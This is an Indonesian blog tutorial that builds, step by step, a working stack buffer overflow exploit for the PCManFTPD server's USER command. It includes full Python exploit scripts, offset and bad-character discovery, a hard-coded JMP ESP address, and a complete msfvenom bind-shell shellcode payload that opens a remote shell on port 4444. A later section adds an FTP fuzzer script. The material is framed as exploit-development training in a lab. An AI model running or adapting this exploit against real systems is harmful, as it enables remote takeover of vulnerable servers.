Eksploit untuk program ini sudah banyak beredar sejak tahun 2012. Sepertinya beberapa perintah FTP terhadap PCManFTP server memiliki kerentanan buffer overflow. Setelah memahami konsep stack-based overflow, tidak ada salahnya untuk mengulang proses pembuatan eksploit terhadap aplikasi PCManFTP Server.

Pada tulisan sebelumnya, kita sudah melakukan fuzzing terhadap program ini. Sebagai pengingat, berikut ini hasil fuzzing yang terlihat dari debugger.

Kondisi stack-based overflow pada PCMan FTPD

Dari gambar tersebut, terlihat bahwa situasi yang sama pada PoC sama persis dengan kondisi yang dialami oleh PCManFTPD server setelah fuzzing. Lalu bagaimana kita dapat mereka ulang kondisi tersebut secara permanen tanpa program fuzzing (BED)? Kita bisa membuat PoC eksploit dengan skrip python berikut: (saya simpan dengan nama 1.py)

#!/usr/bin/python
import socket,sys,time,os

target = '172.16.165.133'
junk = b'A' * 5000
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print("[i] Mengirim eksploit ...")
s.recv(1024)
print("[i] USER AAAAAA...")
s.send(b"USER "+junk+b"\r\n")
s.close()

Dapat dilihat pada skrip di atas, saya akan mengirimkan karakter A (diwakilkan oleh variabel junk) sebanyak 5000 karakter (baris 5) setelah perintah USER (baris 11). Jika kita jalankan skrip di atas pada mesin Kali Linux terhadap mesin Windows 10 yang menjalankan PCManFTPD didalam OllyDbg, maka:

Menjalankan skrip pada mesin Kali Linux
Hasil mengirimkan skrip PoC 1.pypada OllyDbg

Skrip tersebut berhasil mereplikasi kondisi yang dibuat oleh tool BED fuzzer. Pada saat ini kita berhasil membuat stack-based overflow namun kita masih belum dapat memanfaatkan kondisi tersebut.

Seperti pada penjelasan di atas, bahwa tujuan dari stack-based overflow adalah menguasai EIP. Dengan menguasai EIP kita dapat mengambil alih aliran program. Lalu bagaimana kita dapat memanfaatkan EIP yang telah kita kuasai? Untuk memahaminya, kita bisa lihat diagram berikut.

Memanfaatkan EIP untuk lompat ke shellcode

Masih ingat pembahasan di atas, ketika sebuah fungsi pada program akan dipanggil, beberapa alamat untuk kembali ke posisi awal sebuah fungsi akan disimpan di memori stack. Apa yang dikirimkan oleh skrip 1.py di atas membanjiri memori stack dengan karakter A yang sekaligus menimpa beberapa alamat yang diperlukan sebuah fungsi untuk kembali ke posisi awal fungsi tersebut. Ketika karakter A (bisa kita sebut dengan sampah) menimpa alamat di memori stack untuk kembali ke fungsi awal (biasanya ditandai dengan RETN), penunjuk alamat tersebut adalah register EIP. Apabila kita mengganti 4 bytes yang menimpa EIP tersebut dengan instruksi yang membawa kita ke “tempat lain”, kondisi tersebut membuat kita dapat mengambil alih aliran program.

“Tempat lain” yang dimaksud di atas adalah lokasi tempat sampah yang kita kontrol berada. Kita kontrol disini berarti kita dapat mengirimkan karakter apapun ke lokasi tersebut dan selalu dapat kita lihat lokasinya secara pasti. Ketika kita sudah menguasai EIP, kita tinggal mengarahkan instruksi selanjutnya yang ditunjuk oleh EIP ke lokasi sampah yang kita kuasai berada. Pada program PCManFTPD server, kebetulan sampah yang kita kirimkan berada pada memori stack (yang ditunjuk oleh ESP), bisa saja pada kasus lain lokasi sampah ditunjuk oleh register EAX atau register lain, atau bahkan ada di alamat tertentu sehingga kita harus menghitung jarak yang diperlukan untuk mencapai lokasi sampah tersebut. Ada beberapa cara untuk “melompat” ke ESP, instruksi yang paling umum adalah JMP ESP (JUMP (lompat) ke alamat yang berada di register ESP). Instruksi ini adalah instruksi yang sangat umum sehingga akan ada disetiap DLL yang dimuat oleh program tersebut atau bahkan di badan program itu sendiri. Instruksi lain yang dapat kita gunakan adalah CALL ESP dan rangkaian instruksi PUSH ESP diikuti oleh RETN.

JMP ESP memiliki opcodes atau kode operasi bahasa mesin FF E4 dan menggunakan 2 bytes. Untuk mencarinya, kita bisa memilih modul yang sudah dimuat oleh program PCManFTPD lalu mencarinya di modul tersebut. Pada OllyDbg, kita bisa memilih tombol E pada barisan taskbar

Tombol yang mengarah ke daftar modul program

Menu ini memberikan informasi modul-modul yang dimuat oleh program PCManFTPD2.exe, bisa kita lihat tampilannya akan seperti ini

Tampilan modul DLL yang dimuat oleh PCManFTPD2.exe

Ada sedikit catatan ketika memilih alamat yang akan digunakan untuk mengisi EIP:

  • Ada kemungkinan Windows memperbarui DLL disetiap versi Windows yang terbaru atau apabila ada pembaruan service pack atau ketika ada pembaruan keamanan. Untuk alasan kompatibilitas, alamat JMP ESP yang akan dipilih sebaiknya berada di modul yang dimuat oleh program yang dieksploitasi. Hal ini menjamin eksploitasi akan berjalan di semua tipe Windows.
  • Pemilihan alamat tidak boleh mengandung null byte sebagai contoh: 00402701 atau 40200082 atau 740028FE, dst.
  • Ada baiknya memilih alamat yang mengandung karakter 0x01 – 0x7F karena karakter-karakter ini merupakan karakter yang bisa direpresentasikan secara ASCII.

Pada daftar DLL yang dimuat oleh program PCManFTPD2.exe, saya memutuskan untuk memilih SHELL32.DLL dengan alasan:

  • Kedua DLL bawaan dari program PCManFTPD2.exe tidak memiliki instruksi JMP/CALL ESP maupun rangkaian instruksi PUSH ESP - RET. Kedua DLL tersebut adalah Lang.dll dan Blowfish.dll
  • Program utama PCManFTPD2.exe juga tidak memiliki instruksi JMP/CALL ESP maupun rangkaian instruksi PUSH ESP - RETN dan lagi pula alamat dasar (base address) dari PCManFTPD2.exe diawali oleh null byte sehingga tidak dapat digunakan

Untuk mencari instruksi JMP/CALL ESP atau rangkaian instruksi PUSH ESP - RETN, kita bisa memilih DLL yang kita inginkan, dalam hal ini saya memilih SHELL32.DLL (klik 2 kali pada DLL tersebut). Lalu tekan Ctrl+F untuk memunculkan window Find command seperti ini

Tampilan window Find command

Lalu isikan dengan JMP ESP atau CALL ESP dan tekan Find. Apabila ingin mencari rangkaian instruksi PUSH ESP - RETN, tekan Ctrl+S untuk memunculkan window Find sequence of commands

Tampilan window Find sequence of commands

Saya akan memilih instruksi JMP ESP di alamat: 0x771B7E27

Alamat JMP ESP pada modul SHELL32.DLL

Karena kita akan menggunakan DLL milik sistem operasi, maka eksploit ini akan mengalami masalah kompatibilitas, artinya eksploit ini hanya akan berjalan pada PCManFTPD yang berjalan di sistem operasi Windows 10 Enterprise Evaluation versi 1909 build 18363.836.

Menentukan 4 bytes yang menimpa EIP

Setelah kita mendapatkan instruksi JMP ESP kita masih harus menentukan karakter A keberapakah yang menimpa EIP dari sekitar 5000 karakter A pada skrip 1.py di atas.

Di manakah 4 bytes yang menimpa EIP?

Untuk menentukannya kita bisa menggunakan tool dari Metasploit yang sudah ada di Kali Linux. Tool pattern_create.rb akan menciptakan rangkaian kombinasi karakter yang memiliki pola, rangkaian karakter ini yang akan kita kirimkan sebagai ganti karakter A sebelumnya. Ketika rangkaian karakter ini menimpa EIP, kita dapat menggunakan tool pattern_offset.rb untuk mencari jumlah karakter ke berapakah yang menimpa EIP. Berikut cara penggunaannya:

kali@kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
Hasil karakter acak dari Metasploit

Salin sejumlah rangkaian tersebut dan masukkan ke dalam skrip python 1.py lalu simpan dengan nama 2.py.

#!/usr/bin/python
import socket,sys,time,os

target = '172.16.165.133'
junk = b"isikan dengan 5000 rangkaian karakter acak di atas"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print("[i] Mengirim eksploit ...")
s.recv(1024)
print("[i] USER AAAA...")
s.send(b"USER "+junk+b"\r\n")
s.close()

Jalankan skrip 2.py dan kali ini perhatikan pada alamat EIP

EIP berisi karakter dalam hex 43376F43

Kita dapat menggunakan tool pattern_offset.rb untuk menghitung berapa karakter yang diperlukan untuk mencapai EIP. Berikut cara penggunannya:

kali@kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 5000 -q 43376F43

Tool pattern_offset.rb mengeluarkan hasil 2001, hal ini berarti untuk menimpa EIP, dibutuhkan sebanyak 2001 karakter A lalu 4 bytes EIP dan 2994 karakter A sisa sesuai dengan 5000 buffer yang kita kirimkan. Jika digambarkan dalam bentuk diagram:

2005 karakter A untuk menimpa EIP

Untuk memastikannya, kita dapat mengirimkan skrip berikut (yang akan saya simpan menjadi 3.py):

#!/usr/bin/python
import socket,sys,time,os

target = '172.16.165.133'
size = 5000
junk = b"A" * 2001            # jumlah karakter untuk mencapai EIP
junk +=b"BBBB"                # karakter ini akan menimpa EIP
junk +=b"C" * (size-len(junk)) # sisa buffer
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print("[i] Mengirim eksploit ...")
s.recv(1024)
print("[i] USER AAAA...")
s.send(b"USER "+junk+b"\r\n")
s.close()
Memastikan jarak ke alamat EIP

Setelah file 3.py dijalankan kita bisa melihat pada gambar di atas sudah sesuai dengan diagram sebelumnya. Setelah ini kita bisa mengganti EIP yang sebelumnya diisi dengan karakter BBBB menjadi alamat JMP ESP dari SHELL32.dll.

Mencari karakter yang ditolak (bad chars)

Dalam proses mengirimkan karakter-karakter ke sebuah program, ada kalanya karakter tersebut tidak dapat diproses oleh program karena satu dan lain hal (misal karena sebuah logika pemrograman, kondisi dan penentuan karakter masukan, dll). Tidak ada bad chars yang pasti, hal ini memaksa pembuat eksploit untuk mencari karakter-karakter yang ditolak tersebut. Namun selama saya membuat eksploit, terdapat 5 karakter yang hampir sering dianggap sebagai bad chars, berikut karakter-karakter tersebut dalam heksa:

  • 00 atau null bytes, karakter ini dianggap mengakhiri sebuah string, sehingga tidak dapat digunakan
  • 0A atau line feed, ditandai dengan karakter \n
  • 0D atau carriage return, ditandai dengan karakter \r
  • FF atau Form Feed, ditandai dengan karakter \f
  • 2F atau garis miring, ditandai dengan karakter /
  • 20 atau spasi, ditandai dengan karakter spasi

Untuk mencari karakter-karakter bad characters, kita bisa melemparkan karakter 0x01 sampai 0xFF lalu kita perhatikan karakter-karakter tersebut di memori stack. Jika salah satu karakter tersebut berubah atau tidak ada, ada kemungkinan karakter tersebut merupakan karakter bad chars. Untuk menghasilkan karakter 0x01-0xFF bisa menggunakan python berikut

#!/usr/bin/python

import sys
for x in range(1,256):
   sys.stdout.write("\\x"+'{:02x}'.format(x))

atau kalau malas, bisa salin deretan karakter berikut:

badchars = b" "
badchars+= b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
badchars+= b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars+= b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
badchars+= b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars+= b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
badchars+= b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars+= b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
badchars+= b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars+= b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
badchars+= b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars+= b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
badchars+= b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars+= b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
badchars+= b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars+= b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
badchars+= b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Untuk mengujinya, segera perbarui skrip 3.py yang sudah diperbarui dengan badchars lalu dikirimkan ke PCManFTPD server. Berikut skrip 4.py sebagai pembaruan dari skrip 3.py.

#!/usr/bin/python
import socket,sys,time,os

bc = b""
bc += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
bc += b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
bc += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
bc += b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
bc += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
bc += b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
bc += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
bc += b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
bc += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
bc += b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
bc += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
bc += b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
bc += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
bc += b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
bc += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
bc += b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

target = '172.16.165.133'
size = 5000
junk = b"A" * 2001
junk +=b"\xcc\xcc\xcc\xcc" # \xcc = kode breakpoint 
junk +=b"C" * 4  
junk +=bc
junk +=b"\xcc" * (size-len(junk)) 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print("[i] Mengirim eksploit ...")
s.recv(1024)
print("[i] USER AAAA...")
s.send(b"USER "+junk+b"\r\n")
s.close()

Pada baris 25, isi dari EIP saya isikan dengan \xcc yang berarti breakpoint untuk kode atau biasa dikenal dengan INT3. Jika diperhatikan setelah breakpoint, saya menaruh 4 bytes karakter C pada baris 26. Karakter C ini hanya jeda yang perlu ditambahkan agar ESP langsung menunjuk ke junk += bc di baris ke 27. Setelah itu pada baris ke 28, saya juga menaruh breakpoint sebagai sisa buffer. Setelah file 4.py kita jalankan, proses seharusnya berhenti di EIP karena breakpoint. Lalu jika kita klik kanan pada register ESP – pilih Follow in Dump, kita bisa lihat pada jendela keluaran memori (memory dump) bahwa terdapat badchars setelah karakter 0x09. Seharusnya setelah 0x09 adalah 0x0a, namun karakter tersebut berubah menjadi 0x0d. Kondisi ini biasanya disebabkan oleh ditolaknya karakter 0x0a atau disebut sebagai badchars.

Menemukan karakter 0x0a sebagai badchars

Untuk menemukan semua badchars, kita harus memperbarui variabel badchars dan membuang karakter yang dianggap badchars.

Karakter badchars berikutnya adalah 0x0d

Setelah mengulang proses di atas baris per baris, saya menemukan bahwa karakter badchars yang ditolak oleh memori adalah 0x0a, 0x0d, 0x00.

Semua karakter masuk kecuali 0x0a, 0x0d, 0x00

Setelah kita menemukan semua badchars saatnya membuat shellcode yang dapat mengambil alih sistem operasi.

Shellcode dengan MsfVenom

Untuk menghasilkan shellcode kita bisa menggunakan tool dari Metasploit bernama msfvenom. Tool ini akan berusaha menghasilkan shellcode sesuai payload yang ada seperti bind shell, reverse shell, atau sekedar command execution.

Bind shell

Shellcode bind shell adalah shellcode yang mengeksekusi perintah pada sistem operasi untuk “melempar” command prompt ke port tertentu yang ditentukan. Akibatnya sistem target akan membuka port tertentu tersebut dan ketika kita melakukan koneksi ke port tersebut, command prompt (atau disebut juga system shell) sistem target akan diberikan ke kita.

Gambaran shellcode bind shell
Reverse shell

Kebalikan dari shellcode bind shell, shellcode reverse shell mengeksekusi perintah pada sistem operasi untuk melakukan koneksi ke port yang ditentukan penyerang, lalu mengirimkan command prompt/system shell sistem target ke port tersebut. Dari sisi penyerang harus membuka port agar dapat menerima command prompt/system shell target.

Gambaran shellcode reverse shell

Untuk keperluan percobaan ini, kita akan menggunakan shellcode bind shell. Cara menghasilkan shellcode bind shell dengan msfvenom:

kali@kali:~$ msfvenom -p windows/shell_bind_tcp -b "\x00,\x0a,\x0d" -f python -v sc
Menggunakan msfvenom untuk menghasilkan shellcode bind shell

Apabila kita tidak menentukan opsi port (LPORT), msfvenom akan memberikan port 4444 sebagai port standar. Opsi pada msfvenom di atas dapat dijelaskan begini:

  • -p yang berarti payload yg dipilih adalah windows/shell_bind_tcp, Metasploit memiliki puluhan payload yang dapat digunakan
  • -b yang berarti membuang karakter badchars
  • -f yang berarti mengeluarkan dalam format kode python
  • -v yang berarti memasang variabel, dalam hal ini semua shellcode dilabeli variabel sc.

Karena kita sudah sampai pada tahap memasang shellcode, sekalian kita pasangkan juga alamat JMP ESP pada posisi EIP supaya terlihat proses eksekusi eksploitnya. Saya juga menambahkan NOP sled sebelum shellcode agar ada sedikit ruang untuk memastikan shellcode tidak bercampur dengan karakter sebelumnya (4 bytes karakter C). Kita perbarui skrip 4.py dan kita simpan menjadi 5.py

#!/usr/bin/python
import socket,sys,time,os

# msfvenom -p windows/shell_bind_tcp -b "\x00,\x0a,\x0d" -f python -v sc
# x86/fnstenv_mov chosen with final size 350
# Payload size: 350 bytes
# badchars are 00,0a,0d
sc =  b""
sc += b"\x6a\x52\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13"
sc += b"\x21\x37\x8e\x97\x83\xeb\xfc\xe2\xf4\xdd\xdf\x0c\x97"
sc += b"\x21\x37\xee\x1e\xc4\x06\x4e\xf3\xaa\x67\xbe\x1c\x73"
sc += b"\x3b\x05\xc5\x35\xbc\xfc\xbf\x2e\x80\xc4\xb1\x10\xc8"
sc += b"\x22\xab\x40\x4b\x8c\xbb\x01\xf6\x41\x9a\x20\xf0\x6c"
sc += b"\x65\x73\x60\x05\xc5\x31\xbc\xc4\xab\xaa\x7b\x9f\xef"
sc += b"\xc2\x7f\x8f\x46\x70\xbc\xd7\xb7\x20\xe4\x05\xde\x39"
sc += b"\xd4\xb4\xde\xaa\x03\x05\x96\xf7\x06\x71\x3b\xe0\xf8"
sc += b"\x83\x96\xe6\x0f\x6e\xe2\xd7\x34\xf3\x6f\x1a\x4a\xaa"
sc += b"\xe2\xc5\x6f\x05\xcf\x05\x36\x5d\xf1\xaa\x3b\xc5\x1c"
sc += b"\x79\x2b\x8f\x44\xaa\x33\x05\x96\xf1\xbe\xca\xb3\x05"
sc += b"\x6c\xd5\xf6\x78\x6d\xdf\x68\xc1\x68\xd1\xcd\xaa\x25"
sc += b"\x65\x1a\x7c\x5f\xbd\xa5\x21\x37\xe6\xe0\x52\x05\xd1"
sc += b"\xc3\x49\x7b\xf9\xb1\x26\xc8\x5b\x2f\xb1\x36\x8e\x97"
sc += b"\x08\xf3\xda\xc7\x49\x1e\x0e\xfc\x21\xc8\x5b\xfd\x29"
sc += b"\x6e\xde\x75\xdc\x77\xde\xd7\x71\x5f\x64\x98\xfe\xd7"
sc += b"\x71\x42\xb6\x5f\x8c\x97\x30\x6b\x07\x71\x4b\x27\xd8"
sc += b"\xc0\x49\xf5\x55\xa0\x46\xc8\x5b\xc0\x49\x80\x67\xaf"
sc += b"\xde\xc8\x5b\xc0\x49\x43\x62\xac\xc0\xc8\x5b\xc0\xb6"
sc += b"\x5f\xfb\xf9\x6c\x56\x71\x42\x49\x54\xe3\xf3\x21\xbe"
sc += b"\x6d\xc0\x76\x60\xbf\x61\x4b\x25\xd7\xc1\xc3\xca\xe8"
sc += b"\x50\x65\x13\xb2\x96\x20\xba\xca\xb3\x31\xf1\x8e\xd3"
sc += b"\x75\x67\xd8\xc1\x77\x71\xd8\xd9\x77\x61\xdd\xc1\x49"
sc += b"\x4e\x42\xa8\xa7\xc8\x5b\x1e\xc1\x79\xd8\xd1\xde\x07"
sc += b"\xe6\x9f\xa6\x2a\xee\x68\xf4\x8c\x7e\x22\x83\x61\xe6"
sc += b"\x31\xb4\x8a\x13\x68\xf4\x0b\x88\xeb\x2b\xb7\x75\x77"
sc += b"\x54\x32\x35\xd0\x32\x45\xe1\xfd\x21\x64\x71\x42"

target = '172.16.165.133'
size = 5000
junk = b"A" * 2001
junk +=b"\x27\x7E\x1B\x77" #JMP ESP 0x771B7E27 dari SHELL32.DLL 
junk +=b"C" * 4
junk +=b"\x90" * 16
junk +=sc
junk +=b"\xcc" * (size-len(junk)) 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print("[i] Mengirim eksploit ...")
s.recv(1024)
print("[i] USER AAAA...")
s.send(b"USER "+junk+b"\r\n")
s.close()

Mungkin kita sudah sangat percaya diri dengan skrip yang kita buat sehingga kita tidak perlu melakukan debug lagi, tapi sebaiknya kita tetap menjalankan skrip di atas melalui debugger. Berikut ini langkah-langkahnya:

  • Jalankan aplikasi PCManFTPD dan Olly Debugger, lalu attach process PCManFTPD2.exe di Olly Debugger
  • Pilih tombol E dan pilih modul shell32.dll, lakukan pencarian alamat JMP ESP 0x771B7E27 lalu lakukan breakpoint pada alamat tersebut dengan menekan tombol F2. Breakpoint ditandai dengan berubahnya warna alamat tersebut.
  • Eksploit siap dijalankan
Breakpoint pada alamat JMP ESP di 0x771B7E27 (SHELL32.DLL)

Selanjutnya jalankan skrip 5.py, seharusnya proses berhenti di EIP yang menunjuk ke alamat 0x771B7E27.

Proses eksekusi berhenti di EIP

Dari gambar di atas dapat kita lihat bahwa EIP sudah mengarah ke alamat JMP ESP di alamat 0x771B7E27. Apabila kita tekan F7 (step into) kita akan dibawa ke ESP yang sudah berisi NOP sled.

Proses eksekusi berlanjut ke NOP sled

Jika kita teruskan proses eksekusi F7, CPU akan mengeksekusi NOP sled sebanyak 16 bytes sebelum mencapai shellcode bind shell. Proses ini jika teruskan akan sampai pada proses loop yang sebenarnya merupakan proses dekode dari shellcode tersebut.

Proses loop pada alamat 0x0019ED04

Kita bisa melihat proses dekode dengan cara melakukan klik kanan pada alamat 0x0019ED06 lalu pilih Follow in Dump. Pembaca dapat menekan F7 secara terus menerus untuk melihat proses dekode tersebut.

Untuk mempercepat proses dekode, kita bisa memasang breakpoint pada alamat 0x0019ED06. Tekan F2 pada alamat tersebut lalu tekan F9 (Run) untuk mencapai breakpoint.

CLD sebagai awalan shellcode hasil dekode

Ketika proses dekode selesai, instruksi selanjutnya adalah CLD (clear direction flag) yang merupakan instruksi untuk menghapus DF pada EFLAGS Registers, proses ini diperlukan untuk memastikan penunjuk string otomatis bertambah pada setiap operasi string selanjutnya.

Apabila kita lanjutkan proses instruksi tersebut dengan menekan F9, pada mesin Windows 10 seharusnya membuka port 4444 (port standar karena kita tidak menentukan opsi LPORT pada msfvenom). Kita bisa memeriksanya menggunakan netstat.

Port 4444 terbuka akibat dari shellcode bind shell.

Kita bisa segera melakukan koneksi ke port 4444 menggunakan Netcat dari mesin Kali Linux

Koneksi ke port 4444 pada target

W00t! Kita mendapatkan akses ke sistem target melalui kerentanan stack-based overflow. Kita bisa mencobanya kembali tanpa debugger untuk memastikan skrip eksploit bekerja dengan baik.

Eksploitasi final terhadap PCManFTPD server

w00t lagi! Setelah membaca tulisan ini, silakan mencobanya pada aplikasi lain yang ada di exploit-db.com. Selamat mencoba!

Pada tulisan berikutnya, saya akan membahas bagaimana kita bisa menyiasati Structured Exceptions Handler (SEH) yang ada pada Windows.

Proteksi terhadap Buffer Overflow

Pemanfaatan atas kerentanan buffer overflow sudah tercatat sekitar 30 tahun silam, tepatnya sekitar tahun 1988 ketika worm Morris memanfaatkan kerentanan buffer overflow untuk menginfeksi komputer. Sejak saat itu beberapa compiler menerapkan proteksi untuk mencegah buffer overflow seperti -fstack-protector pada GCC dan /GS pada Microsoft Visual Studio. Microsoft juga menerapkan SafeSEH (Structured Exception Handling) sebagai proteksi akibat penyalahgunaan SEH (akan dibahas pada tulisan berikutnya)

Selain proteksi dari sisi compiler terdapat juga proteksi dari sisi Windows seperti ASLR (Address Space Layout Randomization) yang mengacak base address setiap program atau modul ketika program atau modul tersebut dimuat. Ada juga Data Execution Prevention (DEP) yang mencegah eksekusi pada proses memori, sehingga mencegah penulisan kode pada proses memori. Proteksi terakhir dari Microsoft yaitu penerapan Windows Defender Exploitation Guard (WDEG) yang terdiri dari

  • Attack Surface Reduction (ASR)
  • Network protection
  • Controlled folder access
  • Exploit protection (pengganti EMET)
    • Control Flow Guard (CFG)
    • Arbitrary Code Guard (ACG)
    • Export Address Filtering (EAF)
    • StackPivot mitigation
    • Code Integrity Guard
    • dll

Penjelasan mengenai proteksi-proteksi di atas dapat dilihat lebih detail pada tautan berikut:

Para peneliti kerentanan sampai saat ini ada yang sudah berhasil melewati proteksi-proteksi di atas. Tulisan saya selanjutnya akan membahas sebagian dari teknik-teknik melewati proteksi seperti SafeSEH, ASLR, dan DEP.

Referensi

Membangun Eksploitasi Windows Bagian 2: Fuzzing

Pada proses pembuatan eksploitasi, fuzzing merupakan salah satu langkah awal dalam mencari celah masuk (entry point) untuk menemukan kerentanan.. Istilah lebih umumnya adalah vulnerability assessment. Istilah fuzzing berasal dari 2 kata yaitu fuzz testing yang berarti menguji sebuah masukan (input) yang entah dalam bentuk form, parameter, atau apapun dengan masukan yang anomali; karakter aneh, jumlah karakter yang banyak, kombinasi karakter-karakter unicode, dll. Istilah fuzzing berasal dari tahun 1950-an ketika komputer masih memproses kartu berlubang (punch card), yang pada saat itu programmer yang bersangkutan akan memasukkan kartu-kartu yang anomali atau rusak/bekas untuk diproses oleh komputer, apabila komputer memproses kartu yang tidak seharusnya berarti sebuah bug ditemukan.

Karena meningkatnya pemrograman sejak tahun 1950 (ya pastinya!) maka proses fuzzing tidak bisa lagi dilakukan secara manual satu per satu. Proses fuzzing biasanya menggunakan tool atau alat yang dapat mengirimkan sejumlah masukan anomali ke target yang menjadi sasaran uji kerentanan. Sebagai contoh berikut ini adalah fuzzing script untuk FTP server yang saya pakai waktu mengambil training Pentesting with Backtrack tahun 2010 lalu.

#!/usr/bin/env python
 
########################################################
# Very Simple FTP Fuzzer                               #
# this is a modified version from simple ftp fuzzer    #
# coded by muts                                        #
#                                                      #
# thx: oebaj, offsec, xecureit, jasakom, 0x70y #
########################################################
 
import sys, socket
from optparse import OptionParser
 
usage = "./%prog -t [target] -p [port] -u [ftp user] -P [ftp passwd] -c [command to fuzz]"
usage += "nContoh: ./%prog -t 192.168.10.10 -p 21 -u ftp -P ftp -c APPE"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string", action="store", dest="port",
        help="Port to connect")
parser.add_option("-t", type="string", action="store", dest="target",
        help="The target server")
parser.add_option("-u", type="string", action="store", dest="username",
        help="FTP username")
parser.add_option("-P", type="string", action="store", dest="password",
        help="FTP password")
parser.add_option("-c", type="string", action="store", dest="fuzz",
        help="Command to Fuzz ")
(options, args) = parser.parse_args()
 
def banner():
    print "ntt|------------------------------------------------------------------|"
    print "tt|            Very Simple FTP Fuzzer               |"
    print "tt|------------------------[ by modpr0be ]---------------------------|"
    print "tt|-----------------[ me[at]modpr0[dot]be ]------------------|"
    print "tt|-------------------[ originally coded by muts ]-------------------|"
    print "tt|------------------------------------------------------------------|n"
 
if len(sys.argv) < 4:
    banner()
    parser.print_help()
    sys.exit(1)
 
def cmd():
    for string in buffer:
        print "Fuzzing command " + (options.fuzz) + ": " +str(len(string))
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=s.connect((options.target, 21))
        s.recv(1024)
        s.send('USER '+(options.username)+'rn')
        s.recv(1024)
        s.send('PASS '+(options.password)+'rn')
        s.recv(1024)
        s.send((options.fuzz) + ' ' + string + 'rn')
        s.recv(1024)
        s.send('bye\r\n')
        s.close()
 
banner()
buffer = ["A"]
counter = 100
while len(buffer) <=100:
    buffer.append("A" * counter)
    counter = counter + 100
cmd()
 
#20109modpr0be

Pada script di atas, fungsi cmd() melakukan for loop atas salah satu parameter opsi ketika sebuah FTP client melakukan koneksi ke FTP server.

def cmd():
    for string in buffer:
        print "Fuzzing command " + (options.fuzz) + ": " +str(len(string))
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=s.connect((options.target, 21))
        s.recv(1024)
        s.send('USER '+(options.username)+'rn')
        s.recv(1024)
        s.send('PASS '+(options.password)+'rn')
        s.recv(1024)
        s.send((options.fuzz) + ' ' + string + 'rn')
        s.recv(1024)
        s.send('bye\r\n')
        s.close()

